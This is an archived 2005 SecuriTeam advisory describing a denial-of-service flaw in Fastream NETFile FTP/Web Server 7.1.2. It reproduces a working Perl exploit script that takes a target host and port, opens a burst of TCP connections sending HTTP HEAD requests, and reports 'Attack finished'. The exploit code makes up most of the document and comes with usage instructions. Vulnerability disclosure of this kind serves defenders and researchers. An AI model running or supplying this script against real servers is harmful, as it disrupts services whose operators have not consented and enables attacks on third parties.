[EXPL] Fastream NETFile FTP/Web Server HTTP HEAD DoS (Exploit)

From: SecuriTeam (support_at_securiteam.com)
Date: 09/15/05

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Date: 15 Sep 2005 12:00:03 +0200

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      Fastream NETFile FTP/Web Server HTTP HEAD DoS (Exploit)
    ------------------------------------------------------------------------

    SUMMARY

    " <http://www.fastream.com/netfileserver.htm> Fastream NETFile FTP/Web
    Server is a secure FTP server and Web-based file server combined together
    in one program. Our claim is that it is the "easiest to setup and
    administer server" on the Internet!"

    Due to improper handling of keepalive in HTTP HEAD requests, it is
    possible to cause a denial of service to Fastream NETFile FTP/Web Server.

    DETAILS

    Vulnerable Systems:
     * Fastream NETFile FTP/Web Server version 7.1.2 Professional

    Exploit:
    #Fastream NETFile FTP/Web Server 7.1.2 Professional DoS Exploit
    #Bug found by bratax ck
    #Coded bY karak0rsan
    #d0gma.org // unuver.com
    #Greetz:hurby,phalaposher,L4M3R,Atak,spymaster,razor...

    $host=$ARGV[0];
    $port=$ARGV[1];

    if(!$ARGV[1]){
            print "Fastream FTP/Web Server DoS\n";
            print "Coded by karak0rsan // unuver.com\n";
            print "Usage:perl $0 [target] [port]\n";
    }

    use IO::Socket;
    $socket = new IO::Socket::INET( PeerAddr => $host,
    PeerPort => $port,
    Proto => 'tcp',
    Type => SOCK_STREAM, ) or die "Couldn't Connect!\n";;
    close($socket);
    if($socket){
            print "\n";
            print "[+]Attacking..!\n";
            }

    for($i= 0; $i < 100; $i++)
    {
    $socket1 = new IO::Socket::INET( PeerAddr => $host,
    PeerPort => $port,
    Proto => 'tcp',
    Type => SOCK_STREAM, );
    print $socket1 "HEAD / HTTP/1.0\r\n\r\n";
    close($socket1);
    }
    print "Attack finished ;)\n";
    exit();

    #EoF

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:karakorsankara@hotmail.com>
    CeLiL Karak0rsan.

    ========================================

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